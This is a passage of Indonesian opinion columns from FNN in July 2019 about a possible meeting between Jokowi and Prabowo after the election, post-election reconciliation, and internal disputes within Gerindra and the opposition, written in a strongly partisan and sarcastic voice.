hukuman kepada Kapolda Metro Jaya dan Kapolres Jakarta Pusat, maka patut diduga tim Moechgyarto hanya melakukan kerja-kerja kosmetik. Buah dari kerja-kerja kosmetik adalah semakin memperburuk wajah polisi di mata publik. Bahkan Moechgyarto yang sehari-hari adalah Irwasum Polri kehilangan momentum penting untuk mengembalikan kembali kepercayaan rakyat kepada polisi. Untuk itu, wahai para jendral polisi, teladanilahl, contoilah, jiwailah sikap kesatria dan sportifitas yang sudah diajarkan oleh almarhum Mayjen Polisi Hamami Natta, Irjen Polisi Nanan Sukarna serta Kombes Polisi Aton Suhartono. Jangan perlihatkan jiwa-jiwa yang kerdil, tidak profesional dan tidak bertanggung jawab. Sebab ujung-ujungnya hanya mengorbankan institusi kepolisian di mata rakyat. Jangan hanya karena ingin mengejar keuntungan untuk kepentinmgan pribadi dan kelompok, kelembagaan dan institusi polisi harus dikorbankan. (kilat).

Kenapa Kalian Sibuk Mau Jumpa Prabowo?

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Hari-hari ini sibuk sekali Kubu 01 mau mempertemukan Jokowi dengan Prabowo. Entah mengapa mereka di Kubu 01 harus kasak-kusuk agar pertemuan itu terlaksana. Kalau presiden kalian menang bersih di pilpres 2019 ini, kenapa kalian sibuk mau bertemu dengan Prabowo? Untuk apa? Abaikan saja. Lupakan saja semunya. Jokowi ‘kan sudah dilegalkan MK tanpa ada satu pun gugatan Prabowo yang diterima. Berarti MK bilang kalian menang bersih. Ya sudah. Makan kalianlah jabatan presiden itu. Sudah dilegalkan MK, kok. Takut apa lagi? Sudah, ambil sana “hak” kalian itu. Tak usah kalian gubris kami dan Pak Prabowo. Aman kok. Tak akan ada yang mengganggu kalian. Buat saja suka-suka hati kalian. Ayo sana buat pesta pora. Pesta kemenangan bersih. Kemenangan tanpa cacat. Presiden yang dicintai rakyat. Tak perlu apa-apa kok kalian dari kami, dari Pak Prabowo. Indonesia ini punya kalian, bulat. Silakan ambil semuanya. Semua polisi, jaksa, satpol PP punya kalian. Semua kepala daerah punya kalian. Semua kades, kadus, kepling, perangkat desa, dll, kalian punya semua. Atur saja sesuai keinginan kalian. Romahurmuziy punya kalian. Setia Novanto punya kalian. Begitu juga Idrus Marham, dan para pakar korupsi lainnya. Masih belum cukup? Ada sembilan naga punya kalian. Ada Megawati, ada SBY, ada Surya Paloh, ada La Nyalla, ada Zulkifli Hasan. Ada Jusuf Kalla, ada semua mantan presiden dan wapres. Kalian punya semua. Ada juga Mahfud MD yang sangat bijak itu. Semua yang hebat-hebat kalian yang punya. Kurang apa lagi? Oh, barangkali DKI Jakarta harus di tangan kalian. Ambil saja. Mudah kok menyingkirkan Anies Baswedan. Jadi, kalian tak perlu kami, ‘kan? Kenapa kalian ganggu lagi kami? Mau minta jumpa Pak Prabowo segala. Sekali lagi, untuk apa? Tidak ada gunanya. Bagi kalian atau bagi Pak Prabowo. Juga tak ada gunanya bagi kami rakyat beliau. Sekarang kalian berkuasa. Buat saja apa yang kalian suka. Tak usah pikirkan orang lain. Tak usah pikirkan kami. Mau kalian jual negara ini, silakan. Mau kalian buat hancur, silakan. Mau kalian kapling-kapling, terserah. Mau kalian jual kepada RRC, tak ada yang melarang. Mau kalian tambah utang 10,000 triliun lagi, juga tak masalah. Perlu tambahan pendapatan APBN? Gampang! Naikkan listrik sebulan sekali. Naikkan semua jenis pajak. Harga materai seharusnya kalian naikkan menjadi 20 ribu atau 30 ribu. Tak akan ada yang ribut kok. Mau sumber pajak baru? Banyak. Pajak oksigen, pajak air, pajak jenazah yang mau dikuburkan, pajak bayi lahir, pajak usia lanjut karena umur panjang itu ‘kan sesuatu yang istimewa. Dan banyak lagi. Apa yang terpikir di benak kalian, dikenai pajak saja langsung. Terus, apa lagi ya? Oh iya. Mau kalian biarkan penista agama masuk ke masjid-masjid bawa anjing tanpa proses hukum, silakan. Mau kalian diamkan para penista Islam, silakan. Mau kalian penjarakan semua ulama, silakan juga. Kalian berkuasa penuh, kok. Buat saja apa yang kalian suka. Mau kalian bilang orang Islam itu teroris semua, terserah. Mau kalian katakan di dalam aksi damai umat Islam ada 30 teroris, seperti kata Moeldoko, suka hati. Kalian kok yang berkuasa penuh di negara ini. So, untuk apa kasak-kusuk mau jumpa Prabowo? Apa lagi yang mau kalian inginkan? Mau legitimasi? Kan sudah ada dari MK. Sudah ada dari KPU. Sudah ada dari Denny JA dan gerombolan survei mereka. Sudah ada dari media-media besar di sini. Apa lagi? Jadi, kepada Pak Prabowo dan Bang Sandi kami minta agar tidak usah saja menjumpai Jokowi. Tidak usah ucapkan selamat. Tak perlu hadir di acara pelantikan mereka. Kenapa? Karena tidak ada gunanya. Tidak ada kemaslahatannya. Tidak ada urgensinya. Jokowi tak perlu ucapan selamat kok. Jokowi tak perlu Anda kok, Pak Prabowo. Untuk apa? Mereka bisa buat apa saja, ‘kan? Kepada Andre Rosiade (petinggi Gerindra), kami mohon agar Anda tidak usah repot-repot mengatur pertemuan Jokowi dengan Pak Prabowo. Kecuali kalau Anda memang ingin mencederai rakyat Pak Prabowo. Atau, kecuali Anda baru merasa menjadi manusia kalau bisa masuk ke Kubu 01. Itu lain lagilah ceritanya. Atau, kecuali Anda baru saja selesai menjalani operasi pencangkokan “lobus frontalis” (otak bagian depan). Kalau ini alasannya, bisa dimaklumi. Sebab, setelah operasi itu berlangsung, Anda memang perlu istirahat menggunakan fungsi analitis.

Partai Politik "Banci"

Oleh Chazali H.Situmorang (Pemerhati Kebijakan Publik) Jakarta, FNN - Saya sulit menemukan kosakata yang tepat untuk sesorang atau lembaga yang bersikat mudah sekali berubah. Garang awalnya, mewek akhirnya. Teriak-teriak awalnya, nangis tersedu-sedu akhirnya. Menantang awalnya, berusujud dan ungakapan penyesalan akhirnya. Merasa sebagai banteng awalnya, menjadi ayam sayur akhirnya. Berjuang sampai titik darah penghabisan, saat kalah bisik-bisisk lewat pintu belakang untuk rekonsiliasi dan ingin bergabung merawat rumah Rumash Republik Indonesia walaupun sebagai tukang kebun. Kecuali dengan sebutan “banci”. Rakyat merasa ditipu, rakyat terluka. Tidak ada lagi panutan yang dapat dipegang untuk berjuang melindungi hak-hak mereka yang telah dirampas, dengan casing legalitas formal. Sembilan jubah hitam (para Hakim MK), telah menolak tuntutan rakyat yang merasa dicurangi, suaranya dipermainkan, bahkan diperjual belikan oleh mereka yang diberikan amanah dan disumpah atas nama Allah dalam mengemban amanah tersebut. Keputusan bersifat final dan mengikat, tetapi tanpa kredibilitas. Keputusan tersebut sejalan dan yang diinginkan oleh 9 naga, para taipan, konglomerat yang menguasai dan mendominasi perekonomian dan asset Rumah yang bernama Republik Indonesia. Apakah partai-partai yang kalah (pendukung 02), dapat dikatagorikan sebagai partai politik “banci” karena mendorong dan menggiring agar Prabowo (Capres yang kalah) untuk merapat dan rekonsiliasi dengan Jokowi , petahana yang menang di MK. Bahkan jika Prabowo mau saja menyebut “ menerima” keputusan MK, bukan saja sekedar menghormati, transaksi politiknya luar biasa. Siapa bisa jawab? Apalagi kalau Jokowi dan Prabowo bisa bertemu sebelum 20 Oktober 2019, bahkan apalagi kalau mau menghadiri pelantikan Jokowi sebagai Presiden untuk periode kedua, menurut berbagai informasi luar biasa “tukar guling” yang didapat para politisi Gerindra. Siapa saja yang masuk katagori Partai Politik dan Politisi “banci” yang diuraikan pada awal tulisan ini, rakyat akan dapat menilainya sendiri. Yang pasti berasal dari partai politik yang kalah, sering mendorong Parbowo untuk rekonsiliasi dengan casing idealisme kesatuan dan kerukuan bangsa untuk melanjutkan pembangunan. Mendiskreditkan para relawan pendukung PADI, menganjurkan untuk tidak lagi melihat kebelakang, tetapi menatap kedepan, bersama kekuasaan. Itu katagori “banci” masih 50 karat, yang 100 karat adalah mengunting dalam lipatan, berbisik-bisik supaya jangan diketahui orang, bergaya pura-pura bodoh, bermain banyak kaki. Memang tidak mudah menjadi militan, dan militansi sejati itu rupaya hanya ada pada rakyat yang saat ini dengan kesadaran tinggi menuntut hak-hak sipilnya yang sedang dipermainkan oleh para Penguasa, Pengusaha, Politisi, dan saat ini sedang menikmati kekuasaan secara legal tetapi tidak kredibel di mata sebagian besar rakyat.

Dilema Prabowo

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Andre Rosiade melepas berita tentang rencana pertemuan dua tokoh penting negeri ini: Prabowo Subianto dan Joko Widodo. “Juli ini,” ujar anggota Badan Komunikasi Dewan Pimpinan Pusat Gerindra ini, Rabu (3/7) kemarin, menyebut kapan pertemuan akan dilakukan. Berita ini sangat bisa dipercaya karena dari sumber yang kredibel: Gerindra. Tidak ada yang meragukan itu. Jika begitu, pertemuan tokoh ini berarti tidak lama lagi. Pertemuan ini memang bukan perkara sederhana. Pada satu sisi, pertemuan para capres kalah dan capres yang menang dalam pilpres 2019 ini diharapkan bisa mendinginkan tensi politik antarpendukung keduanya. Di sisi lain, bagi Prabowo pertemuan itu adalah pertaruhan bagi kredibilitasnya. Dari sinilah akan tergambar siapa sejatinya Prabowo: Pecundang atau bapak bangsa? Bagaimana pun setidaknya bakal ada dua sikap kelompok besar yang mengiringi pertemuan ini nantinya, yaitu kelompok yang menyambut dengan baik dan senang hati. Lalu, ada kelompok yang kecewa berat dan tidak lagi peduli dengan kedua tokoh tersebut. Pertemuan yang diharapkan bisa menurunkan tensi politik antarpendukung ini boleh jadi akan mengorbankan Prabowo. Pertemuan ini bisa melahirkan kekuatan baru anti-Jokowi yang tidak lagi menganggap penting sosok Prabowo. Kalimat yang sudah viral sebelumnya adalah, “tidak sedang membela Prabowo, tapi menegakkan kebenaran” akan berlanjut lebih masif lagi. Nantinya bisa jadi akan ada kalimat senada yang tetap mengarah pada sikap anti-Jokowi. Kelompok ini kekeuh menolak hasil pilpres curang. Jokowi, bagi kelompok ini, dianggap presiden yang tidak legitimate yang dilahirkan dari pemilu curang. Mereka yang berpendapat demikian tidak berpegang pada putusan Mahkamah Konstitusi (MK). Mereka menilai keputusan MK jauh dari rasa keadilan. Boleh jadi kelompok ini bukan mayoritas pendukung Prabowo, namun mereka adalah pembenci Jokowi yang sangat militan. Setelah Gagal Publik sesungguhnya sudah menduga pertemuan itu akan terjadi. Apalagi sebelumnya sudah beredar kabar ada upaya-upaya serius dari Jokowi dan kelompoknya untuk merangkul Prabowo. Menteri Koordinator Maritim, Luhut Binsar Panjaitan, sudah berusaha bertemu Prabowo walau tak membuahkan hasil. Jangankan berbicara, bertemu saja tidak bisa. Lalu belakangan viral, Prabowo bakal diberi jabatan terhormat. Sandiaga Salahudin Uno masuk dalam kabinet. Calon wakil presiden ini dihargai sebagai Ketua Badan Koordinasi Penanam Modal. Lebih jauh lagi, tokoh-tokoh di belakang Prabowo-Sandi bakal mendapat jatah menteri, duta besar, sampai kursi direksi dan komisaris BUMN. Sebelumnya, Jokowi juga sudah menggoda pimpinan partai Koalisi Adil Makmur. Ia, mengundang Agus Harimukti Yudhoyono ke istana sesaat setelah dirinya dinyatakan menang oleh hitung cepat sejumlah lembaga survey. Hasilnya, putra Presiden Susilo Bambang Yudhoyono ini memberi hadiah ucapan selamat atas kemenangan pasangan 01 pasca putusan MK. Padahal Prabowo-Sandi sampai detik itu belum menyampaikan hal yang sama. Tidak cuma itu. Kubu Jokowi juga membocorkan pertemuan Jokowi dengan Ketua Umum Partai Amanat Nasional (PAN) Zulkifli Hasan atau Zulhas yang diwarnai permintaan Zulhas untuk jabatan Ketua MPR. Beredar kabar juga telah terjadi pertemuan antara Kepala Badan Intelijen Negara dengan Prabowo di Bali, untuk membuka jalan pertemuan Jokowo dan Prabowo. Beberapa kabar yang beredar terkait upaya mempertemukan Jokowi-Prabowo ada yang akurat dan ada juga yang diragukan kebenarannya. Namun, meragukan kabar dari Gerindra sama saja tidak mempercapai semua informasi. Kalau sudah begitu, ya tunggu saja sampai ada siaran langsung. Pertemuan Prabowo dan Jokowi Juli ini memang baru sebatas rencana dan bisa saja batal. Kini Prabowo tentu masih menimbang-nimbang perlu tidaknya bertemu dengan seterunya dalam dua kali pilpres itu. Jika pun perlu, Prabowo tentu akan menimbang bagaimana caranya agar pisowanan penting ini mencapai hasil positif bagi bangsa dan negara, tanpa mengecewakan pendukungnya.

Mewaspadai Berbagai Opsi “Rekonsiliasi” Prabowo-Jokowi

Oleh : Hersubeno Arief Jakarta, FNN - Setelah menjadi bahan spekulasi, rencana pertemuan Prabowo-Jokowi dipastikan akan terjadi pada bulan ini. Bulan Juli. Juru bicara partai Gerindra Andre Rosiade sudah memastikan hal itu, tanpa menyebut tanggal pasti. Hanya dia memberi ancar-ancar. Pertemuan akan dilakukan setelah Prabowo bertemu dengan para pendukungnya terlebih dahulu. Pernyataan Andre ini harus dilihat sebagai test the water. Seperti orang melempar batu ke dalam sungai. Menjajaki seberapa dalamnya air. Jika air terlalu dalam. Jika air terlalu deras arusnya, Prabowo tidak jadi nyemplung ke dalam air. Tapi bukan berarti batal nyemplung. Bisa jadi cari jalan lain. Jalan melingkar. Yang penting tujuan menyeberang tetap tercapai. Pernyataan bahwa Prabowo akan bertemu dengan para pendukungnya sebelum bertemu Jokowi, sebenarnya sudah menunjukkan bahwa mereka paham ada risiko besar yang menanti kalau sampai tetap nekad. Kemarahan para pendukung paslon 02 yang muncul di media sosial, bisa menjadi gambaran yang jelas dan gamblang, betapa besar risiko yang akan dihadapi. Tagar #PrabowojangantemuiJokowi jadi trending topic di dunia maya. Jajak pendapat yang kami lakukan juga menunjukkan ribuan pendukung paslon 02 menolak keras rekonsiliasi. Bahkan sekedar bertemu pun BIG NO!. 99 persen menolak, dan hanya 1 persen yang setuju. Namun tampaknya sekelompok elit Gerindra masuk kelompok politisi pedagang yang sangat paham adagium “high risk, high return.” Makin besar risikonya, makin tinggi pula keuntungannya. Angka yang dipatok bisa makin mahal. Apalagi mereka sangat tahu kubu Jokowi benar-benar ngebet untuk bertemu dan melakukan rekonsiliasi. Ada beberapa yang opsi yang bisa dipilih oleh oleh Prabowo. Pertama, mereka akan benar-benar bergabung ke dalam pemerintahan Jokowi. Kabarnya mereka akan mendapat dua pos kementerian (sedang tawar menawar pos apa yang akan dipilih dan diberikan), Prabowo menjadi Ketua Wantimpres, beberapa pos duta besar, dan juga posisi piminan di MPR dan DPR. Jika ini yang mereka pilih, nasib Prabowo dan Gerindra sudah bisa diprediksi seperti apa. Usia politik Prabowo akan berakhir hanya sampai disini. Dia tidak mungkin lagi menjadi capres atau wapres pada Pilpres 2024. Finish. Its over! Prabowo akan berkumpul dan bernasib sama seperti para politisi yang telah lebih dahulu bergabung ke dalam kubu Jokowi. Ditinggalkan massa pendukungnya. Tokoh-tokoh seperti Yusril Ihza Mahendra, Yusuf Mansyur, TGB Zainul Majdi, dan Ma’ruf Amin bisa dengan tertawa lebar mengucapkan selamat datang, ahlan wa sahlan, welcome to the club. Nasib Gerindra akan sama dengan Demokrat, bahkan sangat mungkin lebih buruk. Rakyat bahkan malah bisa lebih memahami dan memaklumi apa yang dilakukan SBY dan Demokrat. Ada yang lebih buruk perilakunya, yakni Prabowo dan Gerindra. Dari pemilu ke pemilu suaranya akan tergerus. Gerindra akan mengalami perpecahan, karena masih banyak tokoh di Gerindra yang tak sepakat dengan langkah pragmatis dan oportunis. Ayam bertelur emas itu akan mati, karena dipaksa terus bertelur sebelum waktunya. Cerita anak-anak tentang hikayat petani rakus dan ayam bertelur emas itu harus benar-benar direnungkan. Opsi pertama ini bila tetap dipilih akan buruk buat Prabowo, juga buruk buat Jokowi. Target Jokowi melumpuhkan perlawanan oposisi tidak akan tercapai. Hal itu setidaknya sudah terbukti pada aksi 21-22 Mei di Bawaslu, dan yang sangat kasat mata pada aksi 27 Juni di MK. Prabowo-Sandi sudah secara tegas meminta massa pendukungnya tidak turun ke jalan, namun mereka abaikan. Mereka tetap turun ke jalan. Jumlahnya cukup banyak. Ratusan ribu. Sebagian datang dari berbagai daerah, kendati sudah diancam dan dirazia aparat keamanan. Yang paling menarik dalam aksi di MK adalah munculnya figur baru sebagai tokoh sentral komando di lapangan. Mantan penasehat KPK Abdullah Hehamahua (71 th) menjadi ikon baru perlawanan. Hal itu menunjukkan kelompok perlawanan punya banyak stok simbol perlawanan. Hilang satu muncul seribu. Tidak bergantung kepada Prabowo sebagai tokoh sentral. Harga mahal yang harus dikeluarkan Jokowi untuk menggaet Prabowo tidak ada gunanya. Prabowo akan menjadi ikan yang dipisahkan dari airnya. Tanpa pendukung yang militan. Tanpa pendukung yang ikhlas menyumbangkan waktu, tenaga, pikiran, bahkan harta bendanya, Prabowo bukan siapa-siapa. Opsi kedua, oposisi pura-pura. Opsi ini paling memungkinkan dilakukan. Tetap berada di luar pemerintahan, namun sudah ada kesepahaman tidak akan mengganggu. Sebaliknya Prabowo dan Gerindra akan mendukung sepenuhnya setiap kebijakan pemerintahan Jokowi. Konsesi yang diperoleh tidak di kabinet dan di Wantimpres. Akan terlalu mencolok. Cukup di MPR-DPR, pos-pos komisaris di sejumlah BUMN, Dubes, dan yang paling tidak mencolok mata adalah konsesi bisnis. Seorang tokoh senior yang sangat dekat dengan Prabowo menggambarkan sebagai oposisi “Otak dan batang tubuh PS diluar bersama pendukungnya. Tangannya di pemerintah serta kakinya di parlemen. Strategi Rekonsiliasi-Oposisi dengan Diplomasi Kaki Tangan.” Dengan opsi ini Prabowo diharapkan dapat tetap bisa merangkul dan menjaga hati para pemilihnya. Bersamaan itu mereka bisa mendapatkan dan ikut menikmati keuntungan politis dan finansial sebagaimana halnya partai pendukung pemerintah lainnya. Bila opsi ini yang dipilih, posisi, peran Prabowo dan Gerindra bahkan lebih penting dibandingkan partai pendukung pemerintah. Jokowi bisa mengandalkan Prabowo dan Gerindra sebagai kanal, katup pengaman, sekaligus meredam perlawanan kelompok oposisi. Hanya saja Prabowo dan Gerindra harus benar-benar pandai memainkan perannya. Sebab rakyat saat ini sangat cerdas dan akses informasi terbuka luas. Ketika kepura-puraan ini terbuka, kemarahan pendukung akan kian tak terbendung. Opsi ketiga, tetap berada di luar pemerintahan menjadi oposisi bersama PKS dan PAN dengan catatan Amien Rais bisa mengendalikan gerakan bola liar di DPP PAN. Opsi ketiga ini bukan tanpa risiko. Prabowo harus benar-benar tegas mengendalikan elit Gerindra. Jangan sampai mereka membelot, berkhianat, atau menjadi intruder seperti telah terjadi selama ini. Risiko lain, elit Gerindra harus bersiap diri memperpanjang puasanya. Berada di luar pemerintahan perlu kesabaran dan ketabahan. Namanya juga orang berpuasa, jika benar-benar lulus ujian akan mendapat imbalan yang setimpal. Mereka bisa menyambut hari raya kemenangan pada lima tahun ke depan. Gerindra akan menjadi partai besar, Prabowo akan dikenang sebagai politisi yang teguh pendirian, istiqomah. Bukan politisi kaleng-kaleng. Dalam kondisi seperti ini Prabowo bisa memilih, tetap meneruskan karir politik sebagai politisi dan tokoh yang sangat dihormati, atau kembali menyepi ke padepokan Garuda Yaksa di Bukit Hambalang. Madeg pandhito seperti yang selama ini dia inginkan. Sebagai seorang resi, Prabowo bisa mendidik, melatih kader-kader bangsa yang tangguh, teguh pendirian, bermoral dan bermartabat. Dia bisa melanjutkan mimpinya menjadikan Indonesia sebagai bangsa pemenang. Bangsa yang dihormati dunia internasional, berdiri tegak sejajar dengan kekuatan dunia lainnya. Prabowo bisa berperan seperti Batara Wisnu yang menunggang kereta Garuda Yaksa mengawasi Indonesia dari ketinggian di angkasa. Manakala para pemimpinnya menyimpang, dia bisa turun mengingatkan dan mengoreksinya. Hidup ini memang sebuah pilihan Jenderal! end

Biarkan Prabowo Sandi Selingkuh

Oleh Mangarahon Dongoran (Wartawan Senior) Jakarta, FNN - KABAR terkini menyebutkan, Joko Widodo dan Prabowo akan bertemu dalam bulan Juli 2019 ini. Pertemuan semata-mata diharapkan demi persatuan bangsa. "Pak Prabowo akan bertemu dengan Pak Jokowi insya Allah bulan Juli ini. Dalam pertemuan itu kita berharap seluruh polarisasi bisa turun, tensi (politik) bisa turun antar pendukung," kata anggota Badan Komunikasi Dewan Pimpinan Pusat Gerindra, Andre Rosiade, di gedung DPR RI, Senayan, Jakarta, Rabu (3/7/2019). Ya, upaya meredakan tensi politik terus dilakukan kubu 01. Sejak Pilpres digelar, kubu 01 mencoba melakukan manuver untuk menemui Prabowo. Diawali dengan upaya mengutus Menteri Koordinator Maritim Luhut Binsar Panjaitan (LBP). Akan tetapi, usaha LBP yang sama-sama purnawirawan TNI dengan Prabowo kandas. Prabowo tidak merespon ajakan tersebut. Berbagai manuver politik terus dilakukan kubu 01, baik dengan cara halus maupun kasar. Cara kasar tentu dengan terus memojokkan Prabowo, baik yang dilakukan elite 01 maupun pendukungnya. Misalnya, dengan menyebutkan kubu 02 akan masuk menjadi bagian dari pemerintahan (dengan menawarkan kursi menteri, duta besar, dan menjadi direksi atau komisaris BUMN). Tak hanya itu, politik devide et invera atau pecah-belah pun dilakukan. Caranya, mengundang Agus Harimukti Yudhoyono (AHY) ke istana dan bertemu dengan Jokowi. Hal ini pun menjadi perbincangan panas, karena secara nyata AHY yang adalah anak Ketua Umum Partai Demokrat, Susilo Bambang Yudhoyono (SBY) memperlihatkan dukungan nyata atas kemenangan Jokowi-Ma'ruf Amin. Terlebih lagi AHY mengucapkan selamat atas kemenangan pasangan 01, terutama pasca putusan Mahkamah Kontitusi yang kemudian dilanjutkan dengan penetapan Jokowi-Ma'ruf Amin sebagai Presiden terpilih oleh Komisi Pemilihan Umum, Minggu (30/6/2019). Padahal, Prabowo-Sandi sendiri belum mengeluarkan ucapan selamat. Lalu, mengapa Partai Demokrat dan AHY yang notabene bergabung dalam koalisi pendukung Prabowo-Sandi dalam seketika berbalik ke 01? Kuat dugaan, Demokrat ingin mengincer kursi menteri. Politik pecah-belah lainnya adalah dengan menghembuskan Partai Amanat Nasional (PAN) juga merapat ke 01 dengan iming-iming kursi menteri. Ini karena Ketua Umum PAN Zukkifli Hasan sudah beberapa kali bertemu Jokowi. Namun, sampai kini merapatnya PAN ke 01 masih belum jelas. Upaya mempertemukan Jokowi dengan Prabowo terus dilakukan. Ada kabar telah terjadi pertemuan antara Kepala Badan Intelijen Negara dengan Prabowo di Bali, untuk membuka jalan pertemuan Jokowo dan Prabowo. Kabar yang tidak jelas kebenarannya. Pun juga kabar pertemuan Prabowo dengan Jokowi, di Bangkok, Thailand yang ternyata tidak benar atau hoax. Padahal, kabar itu pertama kali dihembuskan oleh petinggi partai koalisi 01. Semuanya itu merupakan manuver politik yang dilakukan kubu Jokowi-Ma'ruf Amin. Tujuannya apalagi kalau bukan untuk memperlunak hati Prabowo. Manuver tersebut saya ibaratkan sebuah godaan politik centil, agar Prabowo-Sandi "berselingkuh", meninggalkan partai koalisi pendukungnya (PKS, PAN dan Demokrat), meninggalkan relawannya, meninggalkan rakyat pendukungnya, terutama emak-emak yang sangat militan. Pertanyaannya, apakah Prabowo akan menerima godaan itu, lalu berselingkuh meninggalkan pendukungnya? Ataukah Prabowo-Sandi istiqomah (tetap pada pendirian) menjadi oposisi? Semuanya berpulang kepada Prabowo. Jika ia berselingkuh dengan gabung ke pemerintahan Jokowi-Ma'ruf Amin, maka pendukungnya akan kecewa dan meninggalkannya, lebih khusus akan meninggalkan Gerindra dalam Pemilu 2024 mendatang. Jika tetap menjadi oposisi, terutama bersama PKS, maka insya Allah kedua partai tersebut akan semakin kuat di masa mendatang. Jika menjadi oposisi saya percaya Geridra dan PKS semakin jaya. Termasuk jaya dalam berkoalisi pada pemilihan kepala daerah tahun 2020. ***

Hei BPN dan Pengkhianat Gerindra, Jangan Kalian Salahkan Relawan

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Dalam dua-tiga hari ini beredar sejumlah tulisan yang pada intinya menyalahkan para relawan Prabowo-Sandi karena dianggap tidak muncul untuk menunjukkan militansi ketika para tokoh 02 ditangkap atau ditahan polisi. Ada tulisan Zeng Wei Jian (ZWJ) tentang Poros Ketiga. Bagi ZWJ, Poros 3 dimunculkan oleh entah siapa. Mungkin saja oleh ZWJ sendiri. Wallahu a’lam. Yang jelas, saya baru dengar poros ini. Juga tidak ada tersebut di grup-grup WA atau platform medsos lainnya. Dalam tulisan yang berjudul “Poros Ketiga”, ZWJ mengatakan “Poros 3 ancaman baru berbahaya untuk kelangsungan bangsa dan negara. Karena itu, Kubu 01 getol upaya merangkul Prabowo-Sandi.” Pada pokoknya, ZWJ ingin menggoreska kesan bahwa ‘silatruahmi’ yang berujung koalisi dengan Jokowi bukan masalah. Tidak apa-apa. Bagus. Menurut hemat saya, ZWJ tampaknya ‘ditugaskan’ untuk mempengaruhi para pendukung Pak Prabowo agar tidak menyalahkan atau menyerang para politisi Gerindra yang ‘desperados’ (kebelet) masuk koalisi Jokowi. Tentunya untuk ambil hadiah murahan. Tapi, menurut hemat saya, gagasan para pengkhianat Gerindra yang ditungkan di tulisan ZWJ sangat berbahaya bagi Pak Prabowo. Para politisi Gerindra terlalu picik melihat target-target pribadi mereka. Mereka gagal atau tidak mau melihat gambar besar perjuangan untuk menegakkan keadilan dan kejujuran ke depan. ZWJ memuja-muji Sufmi Dasco dan Habiburrohman. Pujian setinggi langit. Seolah-olah Dasco sekarang harus diberi wewenang besar untuk mengendalikan Gerindra setelah dia, kata ZWJ, menjadi pahlawan hebat yang bisa membebaskan puluhan bahkan ratusan tokoh dan relawan 02 yang ditahan polisi. Ada pula tulisan yang diatasnamakan Adipati Kampret (AK) dengan judul “Prabowo Akan Tenggelam Bersama Rakyat”. Tulisan ini menyudutkan pendukung Prabowo dan para relawan. AK mempertanyakan ke mana saja para relawan dan pendukung Prabowo pada hari 21-22 Mei? Kenapa tidak ada yang berpidato berapi-api untuk menunjukkan militansi? Tulisan ini jelas-jelas meremehkan para relawan. Bagi saya, tulisan ini dapat disebut kurang ajar. Saya termasuk yang sangat tersinggung oleh Adi Kampret. Siapa pun Anda, saya katakan sekali lagi: Adan kurang ajar. Saya bisa jawab langsung pertanyaan Adi Kampret ini tentang ke mana saja para relawan dan pendukung Prabowo pada 21-22 Mei itu. Mohon maaf, saya sendiri menyaksikan langsung aksi damai di bulan Ramadan itu. Menurut heat saya, bukan relawan dan pendukung yang tidak hadir, Bung Adi. Tetapi, para petinggi BPN yang justru tak nampak batang hidung. Tidak ada alasan bagi mereka untuk menelantarkan para peserta aksi damai itu. Pada 22 Mei, hari kedua saya juga menyaksikan langsung di lapangan. Massa pendukung 02 berdatangan sejak siang. Tidak ada tokoh yang tampil berorasi. Tapi, massa pendukung tetap tak beranjak. Hanya Pak Amin Rais yang datang bersama putri beliau. Dan, soal cerita tentang perangai orang-orang BPN, segudang pengalaman yang dirasakan banyak relawan, mereka curhatkan kepada saya. Nantilah, saya goreskan uraian tentang kelakuan orang-orang BPN yang pada pokoknya tidak berbuat apa-apa untuk memenangkan Pak Prabowo. Tulisan Adi Kampret mencoba menggiring opini bahwa Pak Prabowo menjadi tak berdaya karena para pendukung cuma galak di medsos. Tidak turun ke jalan-jalan. Tentunya kesimpulan seperti ini sangat menyesatkan. Terkesan Bung Adi seolah mewakili barisan BPN yang ingin cuci tangan. Ingin cuci tangan karena mereka tak becus mengelola program kerja pemenangan Prabowo-Sandi. Kemudian, ada tulisan Yahya M Ali, yang mengatributkan diri sebagai Pengamat Intelijen. Judul tulisannya, “Kepedihan Hati Prabowo dan Para Tokoh dan Relawan Kaleng-kaleng”. Di bagian awal, Yahya menguraikan soal sisi humanis Pak Prabowo. Kemudian dia juga, mirip seperti Adipati Kampret, menyerang para tokoh dan relawan pendukung Prabowo yang dia anggap ‘kaleng-kaleng’. Menurut Yahya, para tokoh dan relawan yang ditangkap polisi adalah orang cengeng. Dia istilahkan ‘merengek-rengek’ kepada Prabowo supaya mengusahakan pembebasan mereka. Inilah yang membuat Prabowo mengambil tindakan drastis. Yaitu, membuka komunikasi ke pihak penguasa dengan tujuan agar semua yang ditangkap, dibebaskan. Yahya M Ali menyebut para tokoh dan pendukung yang dikriminalisasikan, ditankap dan ditahan itu adalah orang-orang yang bermental omong kosong. Dia sebut ‘pejuang kaleng-kaleng’. Yahya mempersoalkan sikap para relawan dan pendukung yang tidak membela orang-orang yang ditangkap. Dia label para relawan itu hanya sok-sokan berteriak jihad tapi tidak berbuat apa-apa. Di satu sisi, Yahya ada benarnya. Tetapi, kita harus memamhami bahwa para relawan dan massa pendukung memerlukan tokoh-tokoh yang bisa membangkitkan semangat juang. Menurut hemat saya, keseluruhan tulisan Yahya M Ali hanya ingin membangun persepsi bahwa ‘strategi’ Gerindra untuk berkoalisi dengan Jokowi adalah langkah yang tepat dan tak terelakkan. Itulah yang dilakukan oleh ZWJ, Adipati Kampret, dan Yahya M Ali. Mereka ini sedang mesosialisasikan langkah rekonsiliasi dan koalisi dengan Jokowi. Tidak ada sedikit pun kritik mereka terhadap kinerja BPN dan perilaku beberapa anggota terasnya. Padahal, menyebutkan satu saja masalah fundamental di BPN, direktorat yang mengurusi saksi 02 di TPS boleh dikatakan tidak melakukan apa-apa. Untuk mendapatkan surat mandat saksi saja sulitnya minta ampun. Bahkan, Pak Prabowo terpaksa membekukan direktorat itu karena dana saksi tidak berikan kepada yang berhak. Saya menyarankan kepada mereka ini agar berhati-hati menimpakan kesalahan kepada para relawan, pendukung, dan keluarga para tokoh yang ditangkap penguasa. Tidak bagus kalau Anda seenaknya mengatakan relawan dan pendukung bermental ‘kaleng-kaleng’. Menurut saya, yang justru bermasalah adalah ‘inner circle’ Pak Prabowo. Banyak diantara mereka, tidak semua, yang sejak awal kelihatannya punya misi lain. Bukan untuk meyukseskan perjuangan Prabowo. Mohon maaf, saya menyebut mereka pengkhianat. Pak Prabowo juga pernah menjelaskan tentang orang-orang dekat beliau yang berkhianat. Jadi, saya mohon kepada orang-orang BPN dan Gerindra agar kalian tidak seenaknya menyalahkan dan meremehkan relawan 